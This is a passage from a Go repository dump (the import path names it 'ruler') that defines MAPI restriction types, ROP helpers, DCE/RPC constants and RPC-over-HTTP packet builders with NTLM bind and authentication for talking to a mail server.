7 | //match types for fuzzy low
8 | const (
9 | FLFULLSTRING = 0x0000 //field and the value of the column property tag match one another in their entirety
10 | FLSUBSTRING = 0x0001 //field matches some portion of the value of the column tag
11 | FLPREFIX = 0x0002 //field matches a starting portion of the value of the column tag
12 | )
13 |
14 | //match types for fuzzy high
15 | const (
16 | FLIGNORECASE = 0x0001 //The comparison does not consider case
17 | FLIGNOREONSPACE = 0x0002 //The comparison ignores Unicode-defined nonspacing characters such as diacritical marks
18 | FLLOOSE = 0x0004 //The comparison results in a match whenever possible, ignoring case and nonspacing characters
19 | )
20 |
21 | //search flags
22 | const (
23 | STOPSEARCH = 0x00000001
24 | RESTARTSEARCH = 0x00000002
25 | RECURSIVESEARCH = 0x00000004
26 | SHALLOWSEARCH = 0x00000008
27 | CONTENTINDEXEDSEARCH = 0x00010000
28 | NONCONTENTINDEXEDSEARCH = 0x00020000
29 | STATICSEARCH = 0x00040000
30 | )
31 |
32 | //search return flags
33 | const (
34 | SEARCHRUNNING = 0x00000001
35 | SEARCHREBUILD = 0x00000002
36 | SEARCHRECURSIVE = 0x00000004
37 | SEARCHCOMPLETE = 0x00001000
38 | SEARCHPARTIAL = 0x00002000
39 | SEARCHSTATIC = 0x00010000
40 | SEARCHMAYBESTATIC = 0x00020000
41 | CITOTALLY = 0x01000000
42 | TWIRTOTALLY = 0x08000000
43 | )
44 |
45 | //Restriction interface to generalise restrictions
46 | type Restriction interface {
47 | Marshal() []byte
48 | }
49 |
50 | //ContentRestriction describes a content restriction,
51 | //which is used to limit a table view to only those rows that include a column
52 | //with contents matching a search string.
53 | type ContentRestriction struct {
54 | RestrictType uint8 //0x03
55 | FuzzyLevelLow uint16 //type of match
56 | FuzzyLevelHigh uint16
57 | PropertyTag PropertyTag //indicates the propertytag value field
58 | PropertyValue TaggedPropertyValue
59 | }
60 |
61 | //AndRestriction structure describes a combination of nested conditions that need to be
62 | //AND'ed with each other
63 | type AndRestriction struct {
64 | RestrictType uint8 //0x00
65 | RestrictCount uint16
66 | Restricts []Restriction
67 | }
68 |
69 | //OrRestriction structure describes a combination of nested conditions that need to be
70 | //OR'ed with each other
71 | type OrRestriction struct {
72 | RestrictType uint8 //0x01
73 | RestrictCount uint16
74 | Restricts []Restriction
75 | }
76 |
77 | //NotRestriction is used to apply a logical NOT operation to a single restriction
78 | type NotRestriction struct {
79 | RestrictType uint8 //0x02
80 | Restriction Restriction
81 | }
82 |
83 | //PropertyRestriction is used to apply a logical NOT operation to a single restriction
84 | type PropertyRestriction struct {
85 | RestrictType uint8 //0x04
86 | RelOp uint8
87 | PropTag PropertyTag
88 | TaggedValue TaggedPropertyValue
89 | }
90 |
91 | //Marshal turn ContentRestriction into Bytes
92 | func (restriction ContentRestriction) Marshal() []byte {
93 | return utils.BodyToBytes(restriction)
94 | }
95 |
96 | //Marshal turn AndResetriction into Bytes
97 | func (restriction AndRestriction) Marshal() []byte {
98 | return utils.BodyToBytes(restriction)
99 | }
100 |
101 | //Marshal turn OrResetriction into Bytes
102 | func (restriction OrRestriction) Marshal() []byte {
103 | return utils.BodyToBytes(restriction)
104 | }
105 |
106 | //Marshal turn NotRestriction into Bytes
107 | func (restriction NotRestriction) Marshal() []byte {
108 | return utils.BodyToBytes(restriction)
109 | }
110 |
111 | //Marshal turn PropertyRestriction into Bytes
112 | func (restriction PropertyRestriction) Marshal() []byte {
113 | return utils.BodyToBytes(restriction)
114 | }
115 |
--------------------------------------------------------------------------------
/mapi/ropbuffers.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | //UnmarshalRops is a wrapper function to keep track of unmarshaling logic and location in our buffer
4 | //takes an array of the expected responses and unmarshals into each one. Returning the first error that occurs,
5 | //or nil if no error
6 | func UnmarshalRops(resp []byte, rops []RopResponse) (bufPtr int, err error) {
7 | p := 0
8 |
9 | for i := range rops {
10 | p, err = rops[i].Unmarshal(resp[bufPtr:])
11 | if err != nil {
12 | return -1, err
13 | }
14 | bufPtr += p
15 | }
16 |
17 | return
18 | }
19 |
20 | //UnmarshalPropertyRops is a wrapper function to keep track of unmarshaling logic and location in our buffer
21 | //takes an array of the expected responses and the columns these have, and unmarshals into each one. Returning the first error that occurs,
22 | //or nil if no error
23 | func UnmarshalPropertyRops(resp []byte, rops []GetProperties, columns []PropertyTag) (bufPtr int, err error) {
24 | p := 0
25 |
26 | for i := range rops {
27 | p, err = rops[i].Unmarshal(resp[bufPtr:], columns)
28 | if err != nil {
29 | return -1, err
30 | }
31 | bufPtr += p
32 | }
33 |
34 | return
35 | }
36 |
--------------------------------------------------------------------------------
/mapi/ropids.go:
--------------------------------------------------------------------------------
1 | package mapi
2 |
3 | type ropid uint8
4 |
5 | const (
6 | RopReserved ropid = 0x00
7 | RopRelease ropid = 0x01
8 | RopOpenFolder
9 | RopOpenMessage
10 | RopGetHierarchyTable
11 | RopGetContentsTable
12 | RopCreateMessage
13 | RopGetPropertiesSpecific
14 | )
15 |
--------------------------------------------------------------------------------
/rpc-http/constants.go:
--------------------------------------------------------------------------------
1 | package rpchttp
2 |
3 | //All taken from https://github.com/openchange/openchange/blob/master/python/openchange/utils/packets.py
4 |
5 | const (
6 | PFC_FIRST_FRAG = 0x01
7 | PFC_LAST_FRAG = 0x02
8 | PFC_PENDING_CANCEL = 0x04
9 | PFC_SUPPORT_HEADER_SIGN = 0x04
10 | PFC_RESERVED_1 = 0x08
11 | PFC_CONC_MPX = 0x10
12 | PFC_DID_NOT_EXECUTE = 0x20
13 | PFC_MAYBE = 0x40
14 | PFC_OBJECT_UUID = 0x80
15 | )
16 |
17 | //as defined in dcerpc.idl
18 | const (
19 | DCERPC_PKT_REQUEST = 0x00
20 | DCERPC_PKT_PING = 0x01
21 | DCERPC_PKT_RESPONSE = 0x02
22 | DCERPC_PKT_FAULT = 0x03
23 | DCERPC_PKT_WORKING = 0x04
24 | DCERPC_PKT_NOCALL = 0x05
25 | DCERPC_PKT_REJECT = 0x06
26 | DCERPC_PKT_ACK = 0x07
27 | DCERPC_PKT_CL_CANCEL = 0x08
28 | DCERPC_PKT_FACK = 0x09
29 | DCERPC_PKT_CANCEL_ACK = 0x0A
30 | DCERPC_PKT_BIND = 0x0B
31 | DCERPC_PKT_BIND_ACK = 0x0C
32 | DCERPC_PKT_BIND_NAK = 0x0D
33 | DCERPC_PKT_ALTER = 0x0E
34 | DCERPC_PKT_ALTER_RESP = 0x0F
35 | DCERPC_PKT_AUTH_3 = 0x10
36 | DCERPC_PKT_SHUTDOWN = 0x11
37 | DCERPC_PKT_CO_CANCEL = 0x12
38 | DCERPC_PKT_ORPHANED = 0x13
39 | DCERPC_PKT_RTS = 0x14
40 | )
41 |
42 | //RTS Flags
43 | const (
44 | RTS_FLAG_NONE = 0x00
45 | RTS_FLAG_PING = 0x01
46 | RTS_FLAG_OTHER_CMD = 0x02
47 | RTS_FLAG_RECYCLE_CHANNEL = 0x04
48 | RTS_FLAG_IN_CHANNEL = 0x08
49 | RTS_FLAG_OUT_CHANNEL = 0x10
50 | RTS_FLAG_EOF = 0x20
51 | RTS_FLAG_ECHO = 0x40
52 | )
53 |
54 | //RTS CMD
55 | const (
56 | RTS_CMD_RECEIVE_WINDOW_SIZE = 0
57 | RTS_CMD_FLOW_CONTROL_ACK = 1
58 | RTS_CMD_CONNECTION_TIMEOUT = 2
59 | RTS_CMD_COOKIE = 3
60 | RTS_CMD_CHANNEL_LIFETIME = 4
61 | RTS_CMD_CLIENT_KEEPALIVE = 5
62 | RTS_CMD_VERSION = 6
63 | RTS_CMD_EMPTY = 7
64 | RTS_CMD_PADDING = 8
65 | RTS_CMD_NEGATIVE_ANCE = 9
66 | RTS_CMD_ANCE = 10
67 | RTS_CMD_CLIENT_ADDRESS = 11
68 | RTS_CMD_ASSOCIATION_GROUP_ID = 12
69 | RTS_CMD_DESTINATION = 13
70 | RTS_CMD_PING_TRAFFIC_SENT_NOTIFY = 14
71 | RTS_CMD_CUSTOM_OUT = 15
72 | )
73 |
74 | const (
75 | RPC_C_AUTHN_NONE = 0x0
76 | RPC_C_AUTHN_GSS_NEGOTIATE = 0x9 // SPNEGO
77 | RPC_C_AUTHN_WINNT = 0xa // NTLM
78 | RPC_C_AUTHN_GSS_SCHANNEL = 0xe // TLS
79 | RPC_C_AUTHN_GSS_KERBEROS = 0x10 // Kerberos
80 | RPC_C_AUTHN_NETLOGON = 0x44 // Netlogon
81 | RPC_C_AUTHN_DEFAULT = 0xff // (NTLM)
82 | RPC_C_AUTHN_LEVEL_DEFAULT = 0
83 | RPC_C_AUTHN_LEVEL_NONE = 1
84 | RPC_C_AUTHN_LEVEL_CONNECT = 2
85 | RPC_C_AUTHN_LEVEL_CALL = 3
86 | RPC_C_AUTHN_LEVEL_PKT = 4
87 | RPC_C_AUTHN_LEVEL_PKT_INTEGRITY = 5
88 | RPC_C_AUTHN_LEVEL_PKT_PRIVACY = 6
89 | )
90 |
--------------------------------------------------------------------------------
/rpc-http/packets.go:
--------------------------------------------------------------------------------
1 | package rpchttp
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "math/rand"
7 | "time"
8 |
9 | "github.com/sensepost/ruler/utils"
10 | "github.com/staaldraad/go-ntlm/ntlm"
11 | )
12 |
13 | //RTSHeader structure for unmarshal
14 | type RTSHeader struct {
15 | Version uint8 //05
16 | VersionMinor uint8 //00
17 | Type uint8
18 | PFCFlags uint8
19 | PackedDrep uint32
20 | FragLen uint16
21 | AuthLen uint16
22 | CallID uint32
23 | //Flags uint16
24 | //NumberOfCommands uint16
25 | }
26 |
27 | //RTSSec the security trailer
28 | //this is going to be 0x00000010 for all of our requests
29 | type RTSSec struct {
30 | AuthType uint8
31 | AuthLevel uint8
32 | AuthPadLen uint8
33 | AuthRsvrd uint8
34 | AuthCTX uint32
35 | }
36 |
37 | //BindPDU struct
38 | type BindPDU struct {
39 | Header RTSHeader
40 | MaxFrag uint16
41 | MaxRecvFrag uint16
42 | AssociationGroupID uint32
43 | CtxNum uint32 //2
44 | CtxItems []byte
45 | SecTrailer []byte
46 | AuthData []byte
47 | }
48 |
49 | //Auth3Request struct
50 | type Auth3Request struct {
51 | Header RTSHeader
52 | MaxFrag uint16
53 | MaxRecvFrag uint16
54 | //Pad uint32
55 | SecTrailer []byte
56 | AuthData []byte
57 | }
58 |
59 | //CONNA1 struct for initial connection
60 | type CONNA1 struct {
61 | Header RTSHeader
62 | Flags uint16
63 | NumberOfCommands uint16
64 | Version []byte //8 bytes
65 | VirtualConnectCookie Cookie
66 | OutChannelCookie Cookie
67 | ReceiveWindowSize []byte //8 bytes
68 | }
69 |
70 | //CONNB1 struct for initial connection
71 | type CONNB1 struct {
72 | Header RTSHeader
73 | Flags uint16
74 | NumberOfCommands uint16
75 | Version []byte //8 bytes
76 | VirtualConnectCookie Cookie
77 | InChannelCookie Cookie
78 | ChannelLifetime ChannelLifetime
79 | ClientKeepAlive ClientKeepalive
80 | AssociatonGroupID AssociationGroupID
81 | }
82 |
83 | //RTSRequest an RTSRequest
84 | type RTSRequest struct {
85 | Header RTSHeader
86 | MaxFrag uint16
87 | MaxRecv uint16
88 | Command []byte //8-byte
89 | PduData []byte //PDUData
90 | // ContextHandle []byte //16-byte cookie
91 | // Data []byte //our MAPI request goes here
92 | //RPC Parts
93 | // CbAuxIn uint32
94 | // AuxOut uint32
95 | SecTrailer []byte
96 | AuthData []byte
97 | }
98 |
99 | type PDUData struct {
100 | ContextHandle []byte //16-byte cookie
101 | Data []byte
102 | CbAuxIn uint32
103 | AuxOut uint32
104 | }
105 |
106 | //ConnectExRequest our connection request
107 | type ConnectExRequest struct {
108 | Header RTSHeader
109 | MaxFrag uint16
110 | MaxRecv uint16
111 | Version []byte //8-byte
112 | ContextHandle []byte //16-byte cookie
113 | Data []byte //our MAPI request goes here
114 | AuxBufLen uint32
115 | RgbAuxIn []byte
116 | CbAuxIn uint32
117 | AuxOut uint32
118 | }
119 |
120 | //RPCHeader common fields
121 | type RPCHeader struct {
122 | Version uint16 //always 0x0000
123 | Flags uint16 //0x0001 Compressed, 0x0002 XorMagic, 0x0004 Last
124 | Size uint16
125 | SizeActual uint16 //Compressed size (if 0x0001 set)
126 | }
127 |
128 | //RPCResponse to hold the data from our response
129 | type RPCResponse struct {
130 | Header RTSHeader
131 | PDU []byte
132 | SecTrailer []byte
133 | Body []byte
134 | AutData []byte
135 | }
136 |
137 | //CTX item used in Bind
138 | type CTX struct {
139 | ContextID uint16
140 | TransItems uint8
141 | Pad uint8
142 | AbstractSyntax []byte //20 bytes
143 | TransferSyntax []byte //20 bytes
144 | }
145 |
146 | //AUXBuffer struct
147 | type AUXBuffer struct {
148 | RPCHeader RPCHeader
149 | Buff []AuxInfo
150 | }
151 |
152 | //AUXHeader struct
153 | type AUXHeader struct {
154 | Size uint16 //
155 | Version uint8
156 | Type uint8
157 | }
158 |
159 | //AUXPerfAccountInfo used for aux info
160 | type AUXPerfAccountInfo struct {
161 | Header AUXHeader
162 | ClientID uint16
163 | Reserved uint16
164 | Account []byte
165 | }
166 |
167 | //AUXTypePerfSessionInfo used for aux info
168 | type AUXTypePerfSessionInfo struct {
169 | Header AUXHeader
170 | SessionID uint16
171 | Reserved uint16
172 | SessionGUID []byte
173 | ConnectionID uint32
174 | }
175 |
176 | //AUXTPerfMDBSuccess used for aux info
177 | type AUXTPerfMDBSuccess struct {
178 | Header AUXHeader
179 | ClientID uint16
180 | ServerID uint16
181 | SessionID uint16
182 | RequestID uint16
183 | TimeSinceRequest uint32
184 | TimeToCompleteRequest uint32
185 | }
186 |
187 | //AUXTypePerfRequestID used for aux info
188 | type AUXTypePerfRequestID struct {
189 | Header AUXHeader
190 | SessionID uint16
191 | RequestID uint16
192 | }
193 |
194 | //AUXTypePerfProcessInfo used for aux info
195 | type AUXTypePerfProcessInfo struct {
196 | Header AUXHeader
197 | ProcessID uint16
198 | Reserved uint16
199 | ProcessGUID []byte
200 | ProcessNameOffset uint16
201 | Reserved2 uint16
202 | ProcessName []byte
203 | }
204 |
205 | //AUXPerfClientInfo used for aux info
206 | type AUXPerfClientInfo struct {
207 | Header AUXHeader
208 | AdapterSpeed uint32
209 | ClientID uint16
210 | MachineNameOffset uint16
211 | UserNameOffset uint16
212 | ClientIPSize uint16
213 | ClientIPOffset uint16
214 | ClientIPMaskSize uint16
215 | ClientIPMaskOffset uint16
216 | AdapterNameOffset uint16
217 | MacAddressSize uint16
218 | MacAddressOffset uint16
219 | ClientMode uint16
220 | Reserved uint16
221 | MachineName []byte
222 | UserName []byte
223 | ClientIP []byte
224 | ClientIPMask []byte
225 | AdapterName []byte
226 | MacAddress []byte
227 | }
228 |
229 | //AUXClientConnectionInfo used for aux info
230 | type AUXClientConnectionInfo struct {
231 | Header AUXHeader
232 | ConnectionGUID []byte
233 | OffsetConnectionContextInfo uint16
234 | Reserved uint16
235 | ConnectionAttempts uint32
236 | ConnectionFlags uint32
237 | ConnectionContextInfo []byte
238 | }
239 |
240 | //AUXPerfGCSuccess used for aux info
241 | type AUXPerfGCSuccess struct {
242 | Header AUXHeader
243 | ClientID uint16
244 | ServerID uint16
245 | Reserved uint16
246 | TimeSinceRequest uint32
247 | TimeToCompleteRequest uint32
248 | RequestOperation uint8
249 | Reserved2 []byte
250 | }
251 |
252 | //RTSPing an RTSPing message keeping the channel alive
253 | type RTSPing struct {
254 | Header RTSHeader
255 | Sec RTSSec
256 | }
257 |
258 | //Cookie used the connection/channel cookie
259 | type Cookie struct {
260 | CommandType uint32 //always going to be 03
261 | Cookie []byte //16 byte
262 | }
263 |
264 | //AssociationGroupID used to hold the group id
265 | type AssociationGroupID struct {
266 | CommandType uint32
267 | AssociationGroupID []byte //16 byte
268 | }
269 |
270 | //ChannelLifetime holds lifetime of channel
271 | type ChannelLifetime struct {
272 | CommandType uint32 //always 04
273 | ChannelLifetime uint32 //range of 128kb to 2 Gb
274 | }
275 |
276 | //ClientKeepalive specifies how long the channel is kept open
277 | type ClientKeepalive struct {
278 | CommandType uint32 //always 05
279 | ClientKeepalive uint32 //range of 128kb to 2 Gb
280 | }
281 |
282 | //AuxInfo interface to make Aux buffers generic
283 | type AuxInfo interface {
284 | Marshal() []byte
285 | }
286 |
287 | //CookieGen creates a 16byte UUID
288 | func CookieGen() []byte {
289 | rand.Seed(time.Now().UnixNano())
290 | b := make([]byte, 16)
291 | _, err := rand.Read(b)
292 | if err != nil {
293 | fmt.Println("Error: ", err)
294 | return nil
295 | }
296 | //fmt.Printf("%X%X%X%X%X\n", b[0:4], b[4:6], b[6:8], b[8:10], b[10:])
297 | return b
298 | }
299 |
300 | //Bind function Creates a Bind Packet
301 | func Bind() BindPDU {
302 | bind := BindPDU{}
303 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_BIND, PFCFlags: 0x13, AuthLen: 0, CallID: 1}
304 | header.PackedDrep = 16
305 |
306 | bind.Header = header
307 |
308 | bind.MaxFrag = 0x0ff8
309 | bind.MaxRecvFrag = 0x0ff8
310 | bind.AssociationGroupID = 0x00
311 | bind.CtxNum = 0x02
312 |
313 | ctx := CTX{}
314 | ctx.ContextID = 0
315 | ctx.TransItems = 1
316 | ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen()
317 | ctx.TransferSyntax = []byte{0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00}
318 |
319 | ctx2 := CTX{}
320 | ctx2.ContextID = 1
321 | ctx2.TransItems = 1
322 | ctx2.AbstractSyntax = ctx.AbstractSyntax
323 | ctx2.TransferSyntax = append(CookieGen(), []byte{0x01, 0x00, 0x00, 0x00}...) //[]byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
324 |
325 | bind.CtxItems = append(ctx.Marshal(), ctx2.Marshal()...)
326 | //unknown PDU data here
327 | bind.Header.FragLen = uint16(len(bind.Marshal()))
328 |
329 | return bind
330 | }
331 |
332 | func SecureBind(authLevel, authType uint8, session *ntlm.ClientSession) BindPDU {
333 | bind := BindPDU{}
334 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_BIND, PFCFlags: 0x17, AuthLen: 0, CallID: 1}
335 | header.PackedDrep = 16
336 |
337 | bind.Header = header
338 |
339 | bind.MaxFrag = 0x0ff8
340 | bind.MaxRecvFrag = 0x0ff8
341 | bind.AssociationGroupID = 0
342 | bind.CtxNum = 0x01
343 |
344 | ctx := CTX{}
345 | ctx.ContextID = 1
346 | ctx.TransItems = 1
347 | ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen()
348 | //ctx.AbstractSyntax = []byte{0x18, 0x5a, 0xcc, 0xf5, 0x64, 0x42, 0x1a, 0x10, 0x8c, 0x59, 0x08, 0x00, 0x2b, 0x2f, 0x84, 0x26, 0x38, 0x00, 0x00, 0x00} //CookieGen()
349 | ctx.TransferSyntax = []byte{0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00}
350 |
351 | bind.CtxItems = ctx.Marshal()
352 |
353 | /*
354 | ctx = CTX{}
355 | ctx.ContextID = 1
356 | ctx.TransItems = 1
357 | //ctx.AbstractSyntax = []byte{0x00, 0xdb, 0xf1, 0xa4, 0x47, 0xca, 0x67, 0x10, 0xb3, 0x1f, 0x00, 0xdd, 0x01, 0x06, 0x62, 0xda, 0x00, 0x00, 0x51, 0x00} //CookieGen()
358 | ctx.AbstractSyntax = []byte{0x18, 0x5a, 0xcc, 0xf5, 0x64, 0x42, 0x1a, 0x10, 0x8c, 0x59, 0x08, 0x00, 0x2b, 0x2f, 0x84, 0x26, 0x38, 0x00, 0x00, 0x00} //CookieGen()
359 | ctx.TransferSyntax = []byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
360 | */
361 | //bind.CtxItems = append(bind.CtxItems, ctx.Marshal()...)
362 | //unknown PDU data here
363 | bind.Header.FragLen = uint16(len(bind.Marshal()))
364 |
365 | //setup our auth here
366 | //for now just WINNT auth, should add GSSP_NEGOTIATE / NETLOGON?
367 | if authType == RPC_C_AUTHN_WINNT {
368 | secTrailer := RTSSec{}
369 | secTrailer.AuthType = authType
370 | secTrailer.AuthLevel = authLevel
371 | secTrailer.AuthCTX = 0
372 |
373 | b, _ := rpcntlmsession.GenerateNegotiateMessage()
374 | bind.AuthData = b.Bytes()
375 | bind.Header.AuthLen = uint16(len(bind.AuthData))
376 |
377 | bind.SecTrailer = secTrailer.Marshal()
378 | bind.Header.FragLen = uint16(len(bind.Marshal()))
379 | }
380 |
381 | return bind
382 | }
383 |
384 | func Auth3(authLevel, authType uint8, authData []byte) Auth3Request {
385 | auth := Auth3Request{}
386 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_AUTH_3, PFCFlags: 0x17, AuthLen: 0, CallID: 1}
387 | header.PackedDrep = 16
388 | header.PFCFlags = header.PFCFlags | 0x04
389 | auth.Header = header
390 |
391 | auth.MaxFrag = 0x0ff8
392 | auth.MaxRecvFrag = 0x0ff8
393 |
394 | if authType == RPC_C_AUTHN_WINNT {
395 | secTrailer := RTSSec{}
396 | secTrailer.AuthType = authType
397 | secTrailer.AuthLevel = authLevel
398 | secTrailer.AuthCTX = 0
399 |
400 | //pad if necessary
401 | pad := 0 //(4 - (len(authData) % 4)) % 4
402 | authData = append(authData, bytes.Repeat([]byte{0xBB}, pad)...)
403 | auth.AuthData = authData
404 |
405 | secTrailer.AuthPadLen = uint8(pad)
406 | auth.Header.AuthLen = uint16(len(auth.AuthData))
407 |
408 | auth.SecTrailer = secTrailer.Marshal()
409 | auth.Header.FragLen = uint16(len(auth.Marshal()))
410 | }
411 | return auth
412 | }
413 |
414 | //ConnA1 sent from the client to create the input channel
415 | func ConnA1(channelCookie []byte) CONNA1 {
416 | conna1 := CONNA1{}
417 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0}
418 | header.PackedDrep = 16
419 | conna1.Flags = RTS_FLAG_NONE
420 | conna1.NumberOfCommands = 4
421 | conna1.Header = header
422 | conna1.Version = []byte{0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
423 | conna1.VirtualConnectCookie = Cookie{3, channelCookie}
424 | conna1.OutChannelCookie = Cookie{3, CookieGen()}
425 | conna1.ReceiveWindowSize = []byte{00, 00, 00, 00, 00, 00, 00, 01, 00}
426 | conna1.Header.FragLen = uint16(len(conna1.Marshal()) - 1)
427 | return conna1
428 | }
429 |
430 | //ConnB1 sent from the client to create the output channel
431 | func ConnB1() CONNB1 {
432 | connb1 := CONNB1{}
433 | header := RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0}
434 | header.PackedDrep = 16
435 | connb1.Flags = RTS_FLAG_NONE
436 | connb1.NumberOfCommands = 6
437 | connb1.Header = header
438 | connb1.Version = []byte{0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
439 | connb1.VirtualConnectCookie = Cookie{3, CookieGen()}
440 | connb1.InChannelCookie = Cookie{3, CookieGen()}
441 | connb1.ChannelLifetime = ChannelLifetime{4, 1073741824}
442 | connb1.ClientKeepAlive = ClientKeepalive{5, 300000}
443 | connb1.AssociatonGroupID = AssociationGroupID{12, CookieGen()}
444 | connb1.Header.FragLen = uint16(len(connb1.Marshal()))
445 | return connb1
446 | }
447 |
448 | //Ping function creates a Ping Packet
449 | func Ping() RTSPing {
450 | ping := RTSPing{}
451 | ping.Header = RTSHeader{Version: 0x05, VersionMinor: 0, Type: DCERPC_PKT_RTS, PFCFlags: 0x03, AuthLen: 0, CallID: 0}
452 | ping.Header.FragLen = 20
453 | //ping.Sec = RTSSec{0x00000010}
454 | return ping
455 | }
456 |
457 | //Unmarshal RPCResponse
458 | func (response *RPCResponse) Unmarshal(raw []byte) (int, error) {
459 | pos := 0
460 | response.Header = RTSHeader{}
461 | response.Header.Version, pos = utils.ReadByte(pos, raw)
462 | response.Header.VersionMinor, pos = utils.ReadByte(pos, raw)
463 | response.Header.Type, pos = utils.ReadByte(pos, raw)
464 | response.Header.PFCFlags, pos = utils.ReadByte(pos, raw)
465 | response.Header.PackedDrep, pos = utils.ReadUint32(pos, raw)
466 | response.Header.FragLen, pos = utils.ReadUint16(pos, raw)
467 | response.Header.AuthLen, pos = utils.ReadUint16(pos, raw)
468 | response.Header.CallID, pos = utils.ReadUint32(pos, raw)
469 |
470 | if response.Header.AuthLen == 0 {
471 | if len(raw) > int(response.Header.FragLen)-pos {
472 | response.PDU, pos = utils.ReadBytes(pos, int(response.Header.FragLen)-pos, raw)
473 | } else {
474 | response.PDU, pos = utils.ReadBytes(pos, len(raw)-pos, raw)
475 | }
476 | } else {
477 | if len(raw) > int(response.Header.FragLen-response.Header.AuthLen-24) {
478 | response.PDU, pos = utils.ReadBytes(pos, int(response.Header.FragLen-response.Header.AuthLen-24), raw)
479 | if len(raw) < pos+int(response.Header.AuthLen) {
480 | return pos, nil
481 | }
482 | response.SecTrailer, pos = utils.ReadBytes(pos, int(response.Header.AuthLen), raw)
483 | } else {
484 |
485 | }
486 | }
487 | return pos, nil
488 | }
489 |
490 | //Unmarshal the SecTrailer
491 | func (sec *RTSSec) Unmarshal(raw []byte, ln int) (int, error) {
492 | pos := 0
493 | sec.AuthType, pos = utils.ReadByte(pos, raw)
494 | sec.AuthLevel, pos = utils.ReadByte(pos, raw)
495 | sec.AuthPadLen, pos = utils.ReadByte(pos, raw)
496 | sec.AuthRsvrd, pos = utils.ReadByte(pos, raw)
497 | sec.AuthCTX, pos = utils.ReadUint32(pos, raw)
498 | return pos, nil
499 | }
500 |
501 | //Marshal turn RTSPing into Bytes
502 | func (rtsPing RTSPing) Marshal() []byte {
503 | return utils.BodyToBytes(rtsPing)
504 | }
505 |
506 | //Marshal turn Bind into Bytes
507 | func (rtsBind BindPDU) Marshal() []byte {
508 | return utils.BodyToBytes(rtsBind)
509 | }
510 |
511 | //Marshal turn PDUData into Bytes
512 | func (pdu PDUData) Marshal() []byte {
513 | return utils.BodyToBytes(pdu)
514 | }
515 |
516 | //Marshal turn Auth3Request into Bytes
517 | func (authBind Auth3Request) Marshal() []byte {
518 | return utils.BodyToBytes(authBind)
519 | }
520 |
521 | //Marshal turn RTSRequest into Bytes
522 | func (rtsRequest RTSRequest) Marshal() []byte {
523 | return utils.BodyToBytes(rtsRequest)
524 | }
525 |
526 | //Marshal ConnectExRequest into bytes
527 | func (rtsRequest ConnectExRequest) Marshal() []byte {
528 | return utils.BodyToBytes(rtsRequest)
529 | }
530 |
531 | //Marshal connA1
532 | func (connA1Request CONNA1) Marshal() []byte {
533 | return utils.BodyToBytes(connA1Request)
534 | }
535 |
536 | //Marshal connB1
537 | func (connB1Request CONNB1) Marshal() []byte {
538 | return utils.BodyToBytes(connB1Request)
539 | }
540 |
541 | //Marshal CTX
542 | func (ctx CTX) Marshal() []byte {
543 | return utils.BodyToBytes(ctx)
544 | }
545 |
546 | //Marshal RTSSec
547 | func (sec RTSSec) Marshal() []byte {
548 | return utils.BodyToBytes(sec)
549 | }
550 |
551 | //Marshal AuxBuffer
552 | func (auxbuf AUXBuffer) Marshal() []byte {
553 | return utils.BodyToBytes(auxbuf)
554 | }
555 |
556 | //Marshal AUXPerfClientInfo
557 | func (auxbuf AUXPerfClientInfo) Marshal() []byte {
558 | return utils.BodyToBytes(auxbuf)
559 | }
560 |
561 | //Marshal AUXPerfAccountInfo
562 | func (auxbuf AUXPerfAccountInfo) Marshal() []byte {
563 | return utils.BodyToBytes(auxbuf)
564 | }
565 |
566 | //Marshal AUXTypePerfSessionInfo
567 | func (auxbuf AUXTypePerfSessionInfo) Marshal() []byte {
568 | return utils.BodyToBytes(auxbuf)
569 | }
570 |
571 | //Marshal AUXTypePerfProcessInfo
572 | func (auxbuf AUXTypePerfProcessInfo) Marshal() []byte {
573 | return utils.BodyToBytes(auxbuf)
574 | }
575 |
576 | //Marshal AUXTypePerfRequestID
577 | func (auxbuf AUXTypePerfRequestID) Marshal() []byte {
578 | return utils.BodyToBytes(auxbuf)
579 | }
580 |
581 | //Marshal AUXTPerfMDBSuccess
582 | func (auxbuf AUXTPerfMDBSuccess) Marshal() []byte {
583 | return utils.BodyToBytes(auxbuf)
584 | }
585 |
586 | //Marshal AUXClientConnectionInfo
587 | func (auxbuf AUXClientConnectionInfo) Marshal() []byte {
588 | return utils.BodyToBytes(auxbuf)
589 | }
590 |
591 | //Marshal AUXPerfGCSuccess
592 | func (auxbuf AUXPerfGCSuccess) Marshal() []byte {
593 | return utils.BodyToBytes(auxbuf)
594 | }
595 |
--------------------------------------------------------------------------------
/rpc-http/rpctransport.go:
--------------------------------------------------------------------------------
1 | package rpchttp
2 |
3 | import (
4 | "bufio"
